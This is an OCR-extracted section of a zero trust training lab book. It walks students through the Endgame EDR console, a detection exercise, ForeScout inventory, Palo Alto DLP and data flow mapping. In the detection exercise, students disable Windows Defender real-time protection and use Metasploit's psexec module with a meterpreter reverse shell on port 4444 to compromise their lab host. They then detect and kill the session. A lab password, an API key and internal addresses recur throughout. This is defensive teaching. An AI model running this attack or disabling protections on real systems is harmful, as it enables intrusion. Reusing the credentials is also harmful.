	Windows	A	ggress	ive	Endgame
TT&CK	™ T1193 -	Spearp	ohishing	g Atta	achment,
Win	dows	Reco	mmend	led	Endgame

You will see Mitre ATT&CK technique numbers associated to the rules such as T1193 and you will also see Aggressive versus Recommended. Typically Aggressive alerts have a tendency to have a high false positive rate. My suggestion is to start with the Recommended rules, and then scale up to Aggressive rules and tune them individually one at a time until you limit false positives to a sufficient number.

Next, click on Adversary Behaviors and browse through the different rules:

ADVERSARY BEHAVIORS

After you have browsed the adversary behaviors, go back to the administration tab and discard any changes you may have made.

Next, click on Rules tab and Create New Rule:

	j oompooe jour Ed	ic rule to instruct chugar	tes sensor to monitor su	spicious or malicious a	activity. If the queried activ	ity is detected, the sensor generates an aler
Build from a pub Search for a publ	lic EQL rule (Optional) ic rule to start from, or be	gin writing your own query l	pelow.		Test (Recommended) Select an endpoint group to	b test your rule.
EQL Query					All Active Endpoints	▼ Test
For guidance on h	now to construct an EQL o	juery, see <u>Event Query Langu</u>	<u>age (EQL) Overview →</u> .			
OS Type: 🗸	Windows Mac	Linux				
1.						

The Rules section allows you to create custom rules based on EQL Queries. This allows an analyst to identify an adversary TTP and create and share rules to prevent and remove it from the environment. This is important against adversary TTPs that bypass default EndGame rules.

Next, **click** on the **User** tab and view the interface. This allows you to create different users for your analysts:

1

POLICY RULES USER SENSOR STREAMING EXCEPTIONLIST BLOCKLIST TRUSTED APPLICATIONS Create New User Download User Audit Log Download User Audit Log Download User Audit Log Download User Audit Log	
Create New User Download User Audit Log	PL
NAME USERNAME ROLE	
Super Admin Admin Admin	

Next click on the Sensor tab and review the settings of the current sensor.

Adm	inistration				?	Ask Artemis	Welcome, Super Dec 20, 2022 2:31 Pl	м итс
POLICY	RULES USER	SENSOR STREAMING	EXCEPTIONLIST	OCKLIST TRUSTED APPLICATIO	NS PLATFORM DEPLOY	MENT CONSENT		
6	reate New Sensor Prof	file					1	- <u>1</u> of 1 < >
SEI	ISOR NAME	VERSION NUMBER	POLICY	ΑΡΙ ΚΕΥ	TRANSCEIVER ADDRESS	PERSISTENCE	INSTALLER/UNINSTALLER	REMOVE
win	dows_baseline_sensor	3.59.2	windows_detect_only	0AF61CE25B0544574917	https://10.91.0.3	Persistent	Jownload Profile	Ē

The sensor is using default service names for lab familiarity. **Click** on the underlined **<u>Persistent</u> link** to see the information about the sensor.

PERSISTENCE DETAILS		
Windows Linux	macOS	Solaris
Driver Short Name		esensordrv
Driver Display Name		esensordrv
Driver File Name		esensor.sys
DBI Name		esensordbi.dll
Popup Name		useralert.exe
Sensor File Name	%SYSTEM	DRIVE%\Program Files\Endgame\esensor.exe
Sensor Display Name		EndpointSensor
Sensor Short Name		esensor
Sensor Storage Direct	ory	%SYSTEMDRIVE%\Program Files\Endgame

In your operational environment, you should utilize a separate service name in order to make it blend in so adversaries are unable to identify your Endgame Service. I like using svchost since there are numerous svchost processes running on a system, so it hides well and makes it difficult for adversaries to find. There are numerous other names that would be equally as good.

Next, click on streaming, but DON'T CHANGE ANY SETTINGS:

Administration								?	😳 Ask Artemi	s 🛕	Welcome, Super Dec 20, 2022 2:36 PM UTC
OLICY RULES	USER	SENSOR	STREAMING	EXCEPTIONLIST	BLOCKLIST	TRUSTED APPLICATIONS	PLATFORM	DEPLO	YMENT CONSENT		
EVENT STREAMING	1										
Connected to Endgame Platfor	Elasticsear m URL: htt	ch: https://la ps://10.91.0	ab12345csim2 .3	zt.local:9200							
Go to the <u>Policy F</u>	o <u>age</u> to ena	able streami	ng for your end	points.							Remove
KIBANA CONFIGUR	ATION										
Configuration	Successfu	: <u>https://lab</u>	12345csyi.zt.lo	cal:5601/app/kiban	a#/dashboard	/96cc3580-f69b-11e9-8344	-2f4cf656fceb				
											Remove

This sends EndGame events to the Elasticsearch and Kibana nodes.

Next, click on Exceptionlist:

Administration					?	Ask Artemis	A Welc		
POLICY RULES USER	SENSOR STREAMING	EXCEPTIONLIST	BLOCKLIST TRUSTED	PPLICATIONS PLATFORM	A DEPLO	DYMENT CONSENT			
Windows Mac	Linux	Remove Current Selection Windows	Dismiss Exception Alerts	Download Exceptionlist Windows					
0 alerts currently selected Y									
<u>ALERT TYPE</u>	EXCEPTIONLIST #	TTRIBUTE	RUI There a	E CREATED BY		DATE CREATED			

The Exceptionlist menu lists all exceptions for alerts that have been created by any analyst. It is good to periodically review the exception alerts, because analysts can make mistakes at times and whitelist malicious activity that will then forever be in the exception list.

Next, click on Blocklist:

Adminis	stration							?	•	Ask Artemis	A	Welcome, Super Dec 20, 2022 2:40 PM
POLICY	RULES USER	SENSOR	STREAMING	EXCEPTIONLIST	BLOCKLIST	TRUSTED APPLICATIONS	PLATFORM	DEPLOY	MENT CO	NSENT		
Add	to Blocklist											
0 items cu	urrently selected \checkmark	Delete	Export All	v								0
	ATTRIBUTE		RULE	UPLOAD	ED FILE	CREATED BY	(D	TE CREAT	ED		DESCRIPTION
						There are no results						

The blocklist allows you to input hashes, either through a .csv file or manually. This is great to input malicious files. Just be careful not to input a hash of a legitimate file.

Next, click on Trusted Applications:

							Ask Ar	rtemis
OLICY RULES	USER SENSOR	STREAMING	EXCEPTIONLIST	BLOCKLIST	TRUSTED APPLICAT	IONS PLATFORM	DEPLOYMENT CONSENT	
Add Trusted App	lication							
RULE	RULE ATTRIB	JTE		c	s	CREATED BY		DATE CREAT
					There are no res	ults		

The only case you would normally input trusted applications is when you utilize multiple endpoint solutions, or if EndGame is preventing specific applications within your environment from working. I have seen it have issues with SCCM.

Next, click on Platform:

POLICY	RULES USER	SENSOR	STREAMING	EXCEPTIONLIST	BLOCKLIST	TRUSTED APPLICATIONS	PLATFORM	DEPLOYMENT CONSENT
HOST ISO	LATION CONFIGUR	TION						
Allow iso	lated hosts to co	nnect to thes	e IP addresses.	Endgame platform	is always allo	owed by default and does not	need to be add	led.
Add IP	Address (Ex: 192.1)	8.1.4 or 192.1	68.1.0/24)		Ą	Add Description		Add
IP AD	DRESS				DESCRIPTI	ON	va haan antara	ACTION
					NO HOST ISO	nation exceptionist items na	ve been entere	u.

The settings here allow you to input IP addresses of your incident response systems to allow you to still access systems when you have put them in isolation mode.

We will go over isolation mode in the next lab.

Now that we have covered the different functions of the EndGame management interface, we will create and respond to alerts within EndGame.

Other EDR solutions are similar to EndGame, but have different interfaces, so once you learn one EDR solution, it should not be difficult to adjust to a new solution if needed.

2.7.2 EDR/XDR Respond to Malicious Threat Event

Login to your windows system as DoD_Admin.

DISCONNECT FROM THE PALO ALTO GATEWAY FOR THIS LAB

Type and open Virus and threat protection in the search bar.



Click on manage settings under Virus and threat protection settings

Virus & threat protection settings

No action needed.

Manage settings

Turn off real time protection and press OK

Real-time protection

Locates and stops malware from installing or running on your device. You can turn off this setting for a short time before it turns back on automatically.

8 Real-time protection is off, leaving your device vulnerable.



Open Powershell and SSH to your **Kali Linux system (IP will be 10.91.1.61-80 based on student #)**, by using the command ssh <u>zerotrust@10.91.1.XX</u> XX is your IP.

The password for the zerotrust account is ch00\$3tHeR3dP1II!



type msfconsole and enter

					zerotrust@ztkali: ~					
File	Actions	Edit	View	Help						
""" """"										#
					<u>11 11 11 11 11 11 11 11 11 11 11 11 11 </u>		* ** ** ** ** ** **			
##### ####							, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,		<i></i>	
# WA\	/E 5 ####		SCORE	31337			****	инии н	IGH	FFFFFFF
+ # #####										
###							h	ttns•/	/met	asploit
.com								ccp5.,	/ 1110 0	aspeore
=[metasploit v6.2.9-dev] +=[2230 exploits - 1177 auxiliary - 398 post] +=[867 payloads - 45 encoders - 11 nops] +=[9 evasion]										
Metas msfcc	Metasploit tip: Metasploit can be configured at startup, see msfconsolehelp to learn more									

Next, **type search psexec** and then use 4 (select the # associated with exploit/windows/smb/psexec):

					zeroti	ust@ztkali: ~					
Fi	le /	Actions	Edit	View	Help						
in	2 No	auxil: MS:	iary/a 17-010	dmin/s Etern	mb/ms17_01 alRomance/	0_command EternalSyn	ergy/Et	2017-03-14 ernalChampion	nor SMB Rem	mal ote W	
TIN	2005	comman	iary/s	cannon	/smb/ncoxo		USONS		0.07	m - 1	
	No	Mi	rosof	t Wind	ows Authen	ticated lo	gged In	lisers Enumera	tion	ina c	
	4	explo	it /win	dows/s	mb/nsevec	cicated Lo	5500 10	1999-01-01	man	ual	
	No	Mi	rosof	t Wind	ows Authen	ticated Us	er Code	Execution			
	5	auxil	iarv/a	dmin/s	mb/psexec	ntdsgrab		Execution	nor	mal	
	No	Ps	Exec N	TDS.di	t And SYST	EM Hive Do	wnload	Utility			
	6	explo	it/win	dows/l	ocal/curre	nt user ps	exec	1999-01-01	exc	ellen	
ŧ	No	Psi	Exec v	ia Cur	rent User	Token					
	7	encode	er/x86	/servi	ce				man	ual	
	No	Reg	gister	Servi	ce						
	8	auxil:	iary/s	canner	/smb/impac	ket/wmiexe	с	2018-03-19	nor	mal	
	No	WM:	I Exec								
	9	explo:	it/win	dows/s	mb/webexec			2018-10-24	man	ual	
	No	Wel	DExec	Authen	ticated Us	er Code Ex	ecution	1			
2.25	10	explo:	it/win	dows/l	ocal/wmi			1999-01-01		ellen	
TC .	No	Win	ndows	Manage	ment Instr	umentation	(WMI)	Remote Command	Execut	ion	
Interact with a module by name or index. For example info 10, use 10 or use e xploit/windows/local/wmi											
<u>ms</u> [* <u>ms</u>	<pre>msf6 exploit(windows/smb/psexec) > use 4 [*] Using configured payload windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/psexec) ></pre>										

Next, we are going to set the options and the payload, as seen in the screenshot below:



Note: RHOSTS IP address will be the 10.91.1.X IP of your windows system.

Next, type the following:



You have now gained a meterpreter shell on the Windows System.

Go back to your **windows system** and **go to the EndGame management interface** with **Firefox**. After that, **click** on the **Alerts** menu.

Threats 5 <u>View All</u>	<u>4</u> Unread <u>0</u> Assigne	ed To Me	Adversary Behaviors 4 <u>View All</u>
Most Recent Threats			
ALERT TYPE	HOSTNAME	ASSIGNEE	DATE CREATED
Process Injection	ZTWIN10Student1	Unassigned	Dec 20, 2022 2:57:10 PM UTC

A new process injection threat was created, click on it and see what it looks like.

Look at the Resolver on the right. It shows a flowchart of the processes that executed and it also shows network connections, PowerShell and other actions that occurred.



Next, click on the network button on powershell.exe



This will show a connection to the Kali Linux box over port 4444. This is extremely valuable in detecting activity.

If the rules were set for prevention mode, this exploit would have failed.

Next, go back to your kali linux system and type shell and then net use:



This will generate adversary behavior events.

Go back to your **windows system** in **Endgame** and **look** at the **Adversary Behaviors** in the **Alerts menu**. Next, **click** on the recently generated **alert**:



This shows that the adversary attempted to type the net use command to enumerate network shares. See how adversary behaviors can be helpful in identifying malicious activity?

We are now going to kill the process from here and look back at our kali system to see if it is active.

Click on Powershell.exe and then click on respond and kill process and then click Yes when Prompted.

		435 ATA • powershell	.exe	Alert
	Process PROCESS CRE powershell.exe Created: Dec 20, Respond	EATED 2022 2:57:08 PM UTC	<	- Stri
	Enrichments	ATT&CK T1086 PowerShell Execution	^	
	Path	C:\Windows\SysWOW64\WindowsPower		
	User	SYSTEM		
	PID	7260		
	Domain	NT AUTHORITY		
	MD5	83767e18db29b51a804a9e312d0ed99c		
	PPID	2392	~	

Now go back to your **kali system** and you should see the following:



We have now killed the adversaries connection into our Windows system.

Next, click on the name of the system:

Windows file shares were accessed or enumerated by SYSTEM with the command net use on <u>ZTWIN10Student1 (10.91.1.22</u>) at Dec 20, 2022 3:06:20 PM UTC

It will bring you to an Endpoint window:

Ē

Endpoint Details	
ZTWIN10Student1	Take Action 🗸
IP Address:	10.91.1.22
Status:	Active since 02:12 PM UTC
OS:	Windows 10 (v1809)
Groups:	-
Policy:	windows_detect_only ● <u>Successful</u>
Active Directory Distinguished Name:	CN=ZTWIN10STUDENT1,CN=Computers,DC=zt,DC=I ocal
Activity Timeline Expand Activity Feed	Filter By: All 🗸 🖬
Dec 20, 2022 3:10:41 PM UTC	<u>Kill Process (Success)</u> Response

From here, click on Take Action, and look at your options and then click on Respond:

Sele	ect and Configure Respons	se(s) t . Once configu	ured, select Create Response to launch your response.
RESI	PONSE TYPE		
0	Delete File	ADVANCED	
С	Execute File	ADVANCED	
0	Get File	ADVANCED	
C	Isolate Host	ADVANCED	
	Kill Process	ADVANCED	
C	Suspend Thread	ADVANCED	
0	Upload File	ADVANCED	No advanced configuration has surrently by
			evpanded

This gives you the option to immediately conduct response actions to fix issues with the endpoint. If the device is not critical for mission functions, isolating the host is a great step to preven further spread. Don't isolate the host in this lab, otherwise you will lock yourself out of your system, but look at some of the other response actions and explore.

This concludes the EDR/XDR lab, but if you have extra time, feel free to explore the interface and the investigation features.

3. Zero Trust Pillar 3- Application and Workload

Application and Workload Course:

The following DoD Activities will be covered to some extent in the following portion of this lab book and/or ZT Course Slides:

- Application/Code Identification
- Resource Authorization Pt1
- Resource Authorization Pt2
- Build DevSecOps Software Factory Pt1
- Build DevSecOps Software Factory Pt2
- Automate Application Security & Code Remediation Pt1
- Automate Application Security & Code Remediation Pt2
- Approved Binaries/Code
- Vulnerability Management Program Pt1
- Vulnerability Management Program Pt2
- Continual Validation

- SDC Resource Authorization Pt1
- SDC Resource Authorization Pt2
- Enrich Attributes for Resource Authorization Pt1
- Enrich Attributes for Resource Authorization Pt2
- REST API Micro-Segments
- Continuous Authorization to Operate (cATO) Pt1
- Continuous Authorization to Operate (cATO) Pt2

3.1 Application and Workload Pillar Lesson 1 (Application Inventory)

Background

Per the DoD ZT Capabilities and Activities: System owners ensure that all applications and application components are identified and inventoried; only applications and application components that have been authorized by the appropriate authorizing official/CISO/CIO shall be utilized within the system owner's purview.

Prior to attempting the lab, please review Course Slides "Pillar 3 Application and Workload Pillar".

Outcomes

- 1) The student will gain an understanding of application inventory techniques and will know the importance of application inventory.
- 2) Student will conduct application inventory on systems within the lab environment.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourIP	91	
ForeScout	ZTLabForeScout	10.91.0.8	91	Admin: ch00\$3tHeR3dP1ll!

Duration: 30 Minutes

Task

3.1.1 Conduct Application Inventory on Systems within the Lab Environment with ForeScout

For this lab, it should not matter if you are connected or disconnected from the Global Protect Gateway.

Login to your windows system with the user DoD_Admin and the password ch00\$3tHeR3dP1II!

Next, **open** the **ForeScout console** and **login** as **admin** with the password **ch00\$3tHeR3dP1II!**

<) FORESCOUT		ć	Home	a			B: Policy		Dashboards			
Views	A	II Hosts				Q	Online\Offline ∨	Show only	/ unassigned			14 OF 14 H
Search Q		Host 🖛	IPv4 Address	Segment	Comment	MAC Address	Display Name	Switch IP/FQD	Switch Port Alias	Switch Port Na	Function	Actions
<] All Hosts (14)		ZT/ZTWINSTUDENT02	10.91.1.23	ZT		005056af52eb					Workstation	18
> Policies	•	ZT/ZTWIN10STUDENT1	10.91.1.22	ZT		005056af6523					Workstation	100
> 🏦 History	•	ZT/ZTLABDC1	10.91.0.10	ZT		005056af6f89					Server	
		WORKSTATION	10.91.0.21	ZT							Computer	188
		10.91.0.9	10.91.0.9	ZT							Computer	100
												5.4 1
Filters	P	rofile Compliance	All Policies									
Search Q										1		

Next, click on the Asset Inventory Tab:

PrereScout Console: Appliance - admin connected to 10.91.0.8 - License: Valid for 253 days - Licensed to USA - USFK - C2C JLA									
<u>File Reports Actions Tools j</u>	Log Display <u>H</u> elp								
<) FORESCOUT.		🏫 Home	Asset inventory	Policy	📈 Dashboards				
Views Search Q	Users Search	Q							
~ 📴 Classification	User Name 🔺	Lists	No. of Hosts		Last Update	Last Host			
> Function	dod_admin		3		12/20/22 5:08:25 PM	10.91.1.23			
Operating System									
Vendor and Model									
Network Function									
> 🔀 Classification (Advanced)									

In the Search Bar underneath Views, type "Windows Applications Installed":

Views Windows Applications Installed	Windows Applications In	stalled Search Q			
Windows Applications Installed	Name 🔺	Version	Lists	No. of Hosts	
	Beats winlogbeat 7.16.3 (x86_64)	7.16.3		1	
	Forescout Console 8.4.1	8.4.1		1	
	InstallRoot	5.2		1	
	Microsoft NetBanner	2.1.161		1	
	Microsoft OneDrive	18.143.0717.0002		2	
	Microsoft Visual C++ 2015-2019 Redis	14.27.29016.0		1	
	Microsoft Visual C++ 2015-2022 Redis	14.34.31931.0		1	
Filters	Microsoft Visual C++ 2019 X86 Additio	14.27.29016		1	
Search Q	Microsoft Visual C++ 2019 X86 Minim	14 27 20016		1	

This functionality in ForeScout conducts an application inventory of all systems that have the ForeScout agent installed on it. This allows an administrator to immediately gather a list of installed applications and compare it to authorized software lists.

Question 1) How many devices have Global Protect Installed?

Answer varies depending on students in lab.

Question 2) How many devices have Firefox installed?

Answer varies depending on students in lab.

Question 3) Is there any suspicious or unauthorized software installed in the environment?

Open-SSH looks to be the most suspicious of all. Does it make sense to have SSH running on a domain controller? Probably not.

Next, Under Search, type Services and click on Windows Services Running (Display Name):

Views	Windows Services Running(Display Name) Search	Q		
 Suggested Vendor and Model 	Windows Services Running(Display A Lists	No. of Hosts	Last Update	Last Host
∽ Avaya	Active Directory Domain Services	1	2/16/23 8:45:15 AM	10.91.0.10
✓ Avaya Switch	Active Directory Web Services	1	2/16/23 8:45:15 AM	10.91.0.10
Avaya Virtual Services Platforr	Application Information	2	2/16/23 4:00:11 PM	10.91.1.30
∼ 📫 Windows	Application Management	2	2/16/23 4:00:11 PM	10.91.1.30
Windows Services Running(Display N	AVCTP service	3	2/16/23 4:11:51 PM	10.91.1.23
Windows Services Running(Service N	Background Intelligent Transfer Service	3	2/16/23 4:11:51 PM	10.91.1.23
	Background Tasks Infrastructure Service	4	2/16/23 4:11:51 PM	10.91.1.23

You can see all of the services running in your environment.

Next, Under Search, type Processes:

Views	Windows Processes Running Search	Q		
lusers	Windows Processes Running A Lists	No. of Hosts	Last Update	Last Host
∼ € Windows	applicationframehost	3	2/16/23 3:17:24 AM	10.91.0.10
Windows Active Users	backgroundtaskhost	1	2/14/23 3:12:04 PM	10.91.1.30
Windows Processes Running	browser_broker	2	2/15/23 5:59:58 PM	10.91.1.23
Windows SecureConnector Version	conhost	2	2/16/23 3:17:24 AM	10.91.0.10
Windows Services Running(Display N	CSTSS	3	2/16/23 3:17:24 AM	10.91.0.10
Windows Services Running(Service N	ctfmon	2	2/15/23 5:59:58 PM	10.91.1.23
	dfsrs	1	2/16/23 3:17:24 AM	10.91.0.10
Filters	dfssvc	1	2/16/23 3:17:24 AM	10.91.0.10

This shows all of the Processes that are running in your environment. Feel free to look at additional information under the Asset Inventory section of ForeScout to look at the power that it can provide you.

This was a very short lab, but it shows the power of ForeScout and shows a fast method of identifying which applications are in your environment.

3.2 Application and Workload Pillar Lesson 2 (Secure Software Development & Integration) (Future Course)

Future Course

3.3 Application and Workload Pillar Lesson 3 (Software Risk Management) (Future Course)

Future Course

3.4 Application and Workload Pillar Lesson 4 (Resource Authorization & Integration)

Background

Per the DoD ZT Capabilities and Activities: DoD establishes a standard approarch managing the authorizations of resources in a risk approach that reviews the User, Device and Data security posture.

Prior to attempting the lab, please review Course Slides "Pillar 3 Application & Workload".

Note: This lab will be a combined lab from three separate pillars, Pillar 1 Users, Pillar 3 Application & Workload, and Pillar 5 Data. Capability 1.7 combines with Capability 3.4 and 4.7 due to the nature of using identity to access resources and data.

Outcomes

- 1) The student will gain an understanding of least privileged access.
- Student will configure policies and access control mechanisms and conduct actions from different user accounts in order to test access to data, applications, assets and services.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourlP	91	

Duration: 30 Minutes

Task

The Task is a combined task. Please go <u>HERE</u> to complete the task.

3.5 Application and Workload Pillar Lesson 5 (Continuous Monitoring and Ongoing Authorizations) (Future Course)

Future Course

4. Zero Trust Pillar 4- Data (Currently in Development)

Data Course:

The following DoD Activities will be covered to some extent in the following portion of this lab book and/or ZT Course Slides:

- Data Analysis
- Define Data Tagging Standards
- Interoperability Standards
- Develop Software Defined Storage (SDS) Policy
- Implement Data Tagging & Classification Tools
- Manual Data Tagging Pt1
- Manual Data Tagging Pt2
- Automated Data Tagging & Support Pt1
- Automated Data Tagging & Support Pt2
- DLP Enforcement Point Logging and Analysis
- DRM Enforcement Point Logging and Analysis
- File Activity Monitoring Pt1
- File Activity Monitoring Pt2
- Database Activity Monitoring
- Comprehensive Data Activity Monitoring
- Implement DRM and Protection Tools Pt1
- Implement DRM and Protection Tools Pt2
- DRM Enforcement via Data Tags and Analytics Pt1
- DRM Enforcement via Data Tags and Analytics Pt2
- DRM Enforcement via Data Tags and Analytics Pt3
- Implement Enforcement Points
- DLP Enforcement via Data Tags and Analytics Pt1
- DLP Enforcement via Data Tags and Analytics Pt2
- DLP Enforcement via Data Tags and Analytics Pt3
- Integrate DAAS Access w/ SDS Policy Pt1
- Integrate DAAS Access w/ SDS Policy Pt2
- Integrate DAAS Access w/ SDS Policy Pt3
- Integrate Solution(s) and Policy with Enterprise IDP Pt1
- Integrate Solution(s) and Policy with Enterprise IDP Pt2
- Implement SDS Tool and/or integrate with DRM Tool Pt1
- Implement SDS Tool and/or integrate with DRM Tool Pt2

4.1 Data Pillar Lesson 1 (Data Catalog Risk Alignment) (Future Course)

Future Course

4.2 Data Pillar Lesson 2 (DoD Enterprise Data Governance) (Future Course)

Future Course

4.3 Data Pillar Lesson 3 (Data Labeling and Tagging) (Future Course)

Future Course

4.4 Data Pillar Lesson 4 (Data Monitoring and Sensing) (Future Course)

Future Course

4.5 Data Pillar Lesson 5 (Data Encryption & Rights Management) (Future Course)

Future Course

4.6 Data Pillar Lesson 6 (Data Loss Prevention (DLP))

Background

Per the DoD ZT Capabilities and Activities: DoD organizations have identified enforcement points, deployed approved DLP tools at those enforcement points, and integrate tagged data attributes with DLP.

Prior to attempting the lab, please review Course Slides "Pillar 5 Data Pillar".

Outcomes

- 1) The student will gain an understanding of Data Loss Prevention Techniques.
- Student will send sensitive information across network subnets to emulate the loss of sensitive data. The student will then review alerts to see the detection of Data Loss.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourIP	91	

Duration: 30 Minutes

Task

4.6.1 Download Sensitive Information from a Website to Test DLP Capabilities

Login to your Windows system for the following Lab.

Visit the following Website: <u>http://10.91.1.61/ssns.txt</u>



Directory listing for /

<u>ssns.txt</u>

You will see fake PII.

Now, **browse** to the **Palo Alto Web Interface** at <u>https://10.91.0.7</u> and **login** as **admin** with the password **ch00\$3tHeR3dP1II!**

Next, click on Monitor and click on Data Filtering on the Left:

(Note: It may take a few minutes for the Data filtering rule to populate)

paloalto	D	ashboard A	ICC Monit	or Policies	Objects	Network Device			
Traffic								_	
Threat		Receive Time	Category	File Name	File URL	Name	From Zone	To Zone	Source addr
🗟 URL Filtering									
KildFire Submissions	I	12/20 11:36:48	any	ssns.txt		SSNs	Lab_Net	External	10.91.0.21
Data Filtering		12/20 11:29:46	any	ssns.bd		SSNs	Lab_Net	External	10.91.0.21
HIP Match		12/20 11:25:40	any	ssns.txt		SSNs	Lab Net	External	10.91.0.21
I User-ID	~	10100 11 05 01				2011	_		
Tunnel Inspection	P	12/20 11:25:34	any	ssns.bt		SSNS	Lab_Net	External	10.91.0.21
Configuration	I.	12/20 11:18:56	any	ssns.bd		SSNs	Lab_Net	External	10.91.0.21
System									

This is an extremely basic version of Data Loss Prevention and requires the Palo Alto Firewall to be configured with Data Filtering Policies.

More advanced DLP solutions do a better job at detecting sensitive data exfiltration. What types of Data filtering rules would you create in your organization? Could you create something to detect different classification labels?

Click on Objects and then Data Filtering on the left to see current data policies.

paloalto	Dashboard	ACC Mo	nitor Policies	Objects Network	Device	
S Addresses Address Groups Regions	Name	Location	Data	Data Pattern	Applications	File Typ
 Applications Application Groups Application Filters Services Service Groups Tags GlobalProtect HIP Objects HIP Profiles External Dynamic Lists Custom Objects Data Patterns Spyware Vulnerability Ulnerability Ull Category 	Data Loss Preve	intion		SSNs	any	Any
 ▼ Security Profiles Anti-Spyware Vulnerability Protection URL Filtering File Blocking WildFire Analysis Data Filtering Dos Protection 						

Next, click on Data Patterns to see the patterns used to detect activity:

paloalto	Dashboard A	ACC Monitor Policies O	bjects Network Device			🏝 Commit 🛭 🕞 Config 🗸
NETVORUST Addresses	Dashboard A Profile Name SSNs	CC Monitor Policies C	ojects Network Device Pattern Pattern Type Predefined Pattern	Name Social Security Numbers	Default File Type Any	Commit & Goodig
Spyware Vulnerability						

Create your own Data pattern and experiment:

Data Patterns						0
	Name	Test				
	Description					
	Pattern Type	File Pro	perties			-
۹.						1 item 🔿 🗙
Name			File Type	File Property	Property Value	
Test			Microsoft Word	Classification	Secret	
🕂 Add 🗖 De	lete 📀 Clone					
					ок	Cancel

Type Test under the name, choose File Properties in the Pattern Type, and choose Microsoft Word as the File Type, Classification as the File Property and Secret as the Property Value.

After you have done this, just hit **cancel**.

The Data Patterns capability in Palo Alto can be powerful if you utilize it in a manner to protect your data.

Think of how DLP relates to Zero Trust as you conclude this lab.

What does this data pattern do? It looks for the word "Secret" within word documents traversing security zones.
4.7 Data Pillar Lesson 7 (Data Access Control)

Background

Per the DoD ZT Capabilities and Activities: DoD organizations ensure appropriate access to and use of data based on the data and user/NPE/device properties

Prior to attempting the lab, please review Course Slides "Pillar 4 Data".

Note: This lab will be a combined lab from three separate pillars, Pillar 1 Users, Pillar 3 Application & Workload, and Pillar 5 Data. Capability 1.7 combines with Capability 3.4 and 4.7 due to the nature of using identity to access resources and data.

Outcomes

- 1) The student will gain an understanding of least privileged access.
- Student will configure policies and access control mechanisms and conduct actions from different user accounts in order to test access to data, applications, assets and services.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourIP	91	

Duration: 30 Minutes

Task

The Task is a combined task. Please go <u>HERE</u> to complete the task.

5. Zero Trust Pillar 5- Network and Environment

Network and Environment Course:

The following DoD Activities will be covered to some extent in the following portion of this lab book and/or ZT Course Slides:

- Define Granular Control Access Rules & Policies Pt1
- Define Granular Control Access Rules & Policies Pt2
- Define SDN APIs
- Implement SDN Programable Infrastructure
- Segment Flows into Control, Management, and Data Planes
- Network Asset Discovery & Optimization
- Real-Time Access Decisions
- Datacenter Macrosegmentation
- B/C/P/S Macrosegmentation
- Implement Microsegmentation
- Application & Device Microsegmentation
- Process Microsegmentation
- Protect Data In Transit

5.1 Network and Environment Pillar Lesson 1 (Data Flow Mapping)

Background

Per the DoD ZT Capabilities and Activities: DoD organizations reconcile data flows by gathering, mapping, and visualizing network traffic data flows and patterns to ensure authorized access and protection for network and DAAS resources.

Prior to attempting the lab, please review Course Slides "Pillar 5 Network and Environment Pillar".

Outcomes

- 1) The student will gain an understanding of data flow mapping.
- 2) Student will identify all data flows in the environment in preparation for macro and micro segmentation efforts.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourIP	91	

Duration: 30 Minutes

Task

5.1.1 Data Flow Mapping

Data Flow Mapping is a soft skill that is less technical in nature than many of the other tasks we are implementing in this lab.

Step 1: Identify all IP addresses in your environment that you are responsible for defending. If you don't have it documented and you don't have an LDIF, you can look at your current routing tables within the Palo Alto and look at identified addresses within ForeScout to view all current assets and their IP addresses.

Spend a few minutes looking at ForeScout and Palo Alto and see if you can identify your IP addresses without instruction.

Answer: 10.91.0.0/16 is the scope of addresses with the following addresses being advertised: 10.91.0.0/24(Server Subnet), 10.91.1.0/24(Client Subnet), 10.91.66.0/24 (External Subnet)

You can get this information from the More Runtime Stats section in Palo Alto under the Network tab:

Dashboard	ACC	Monitor	Policies	Objects	Network	Device				🛎 Commit 🔞	🎙 😺 Config 👻 🔍 Sear
											S 📀
											1 item 🗧
Name	Inte	erfaces	Co	nfiguration	RIP		OSPF	OSPFv3	BGP	Multicast	Runtime Stats
default	eth eth eth eth	emet1/1 emet1/2 emet1/2.91 emet1/1.91	EC	MP status: Disabled							More Runtime Stats

Route Table For	warding Table	Static Route Monitoring		ormation					
•		Route Table Forwarding Table Static Route Monitoring							
•	Ro	oute Table 💿 Unicast	O Multicast	Display Ad	dress Family IPv4	and IPv6	~		
						6 items 📑	×		
Destination	Next Hop	Metric	Weight	Flags	Age	Interface			
10.91.0.0/24	10.91.0.1	0		AC		ethernet1/2.91			
10.91.0.1/32	0.0.0.0	0		AH					
10.91.1.0/24	10.91.1.1	0		A C		ethernet1/2.91			
10.91.1.1/32	0.0.0.0	0		AH					
10.91.66.0/24	10.91.66.1	0		A C		ethernet1/1.91			
10.91.66.1/32	0.0.0.0	0		AH					
Sefresh Aractive, ?:loose, C:connect, H:host, S:static, ~:internal, R:rip, 0:0SPF, B:bgp, 0::0SPF intra-area, 00:0SPF inter-area, 01:0SPF ext-type-1, 02:0SPF ext-type-2									

Step 2: Identify all services hosting data.

In our environment, we are looking at services hosting data that the users in our environment are accessing. We know that there is only one server in our environment.

Lets do some double checking.

Login to the ForeScout console:

SoreScout Console: Appliance - admin connected to 10.91.	0.8 - Licen	se: Valid for 253 days	- Licensed to US	A - USFK - C2C J	LA							-	
<u>E</u> lle <u>R</u> eports <u>A</u> ctions <u>T</u> ools <u>L</u> og Display	<u>H</u> elp												
